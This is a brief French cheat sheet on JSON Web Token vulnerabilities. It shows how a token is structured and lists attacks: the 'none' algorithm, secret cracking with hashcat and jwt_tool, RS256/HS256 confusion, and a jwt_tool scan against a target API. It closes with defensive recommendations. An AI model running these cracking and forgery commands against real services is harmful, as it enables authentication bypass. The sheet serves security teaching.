JWT — Failles d'authentification par token
★★★★★
Structure JWT
# eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.SIGNATURE
# Header.Payload.Signature (base64url)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# -> {"alg":"HS256"} Attaques
# 1. Algorithme "none"
# Header : {"alg":"none"} -> supprimer la signature
# 2. Brute force du secret
hashcat -a 0 -m 16500 TOKEN rockyou.txt
python3 jwt_tool.py TOKEN -C -d rockyou.txt
# 3. Confusion RS256 -> HS256 (clé publique comme secret)
# 4. jwt_tool : tester toutes les attaques
python3 jwt_tool.py TOKEN -M at -t https://target/api Défenses
RS256 ou ES256 (asymétriques) · Secret HMAC > 256 bits · Valider explicitement l'algorithme attendu · Toujours vérifier exp, nbf, iss, aud · Mécanisme de révocation